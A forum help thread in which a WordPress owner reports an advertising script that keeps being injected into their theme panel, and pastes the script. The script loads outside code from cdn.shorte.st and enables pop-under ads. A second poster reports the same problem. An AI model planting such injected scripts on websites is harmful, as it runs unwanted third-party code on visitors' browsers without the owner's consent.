Hii guys, plz help, i think somebody hacks my wordpress

Community Off Topic
1

Somebody add an adv code in my website in every 2 days
I remove it and then on the second day, it’s come back.
Plz help me about this, I already changed my WordPress Website password and nothing more.
And yes, the adv code automatically appears in my newspaper theme panel.
Till now it’s been 6 days, but other than this adv code I really can’t see anything strange.
And you know, I’m the only user in my WordPress Panel too.
So, Plz HELP, any suggestion would be grateful.

Here’s the code:

<script type="text/javascript">//<![CDATA[ 
(function() {
    var configuration = {
    "token": "f17143abbffd1edf14788c13fa8a1b08",
    "entryScript": {
        "type": "click",
        "capping": {
            "limit": 5,
            "timeout": 24
        }
    },
    "exitScript": {
        "enabled": true
    },
    "popUnder": {
        "enabled": true
    }
};
    var script = document.createElement('script');
    script.async = true;
    script.src = '//cdn.shorte.st/link-converter.min.js';
    script.onload = script.onreadystatechange = function () {var rs = this.readyState; if (rs && rs != 'complete' && rs != 'loaded') return; shortestMonetization(configuration);};
    var entry = document.getElementsByTagName('script')[0];
    entry.parentNode.insertBefore(script, entry);
})();
//]]></script>
2

I found the same problem on one of my website. I’ll fix this but and I can share the solution.
Did you solve this trouble already ?
Can you give me more information. I"ll precise the infomations I need if you are ok to colaborate on this solution.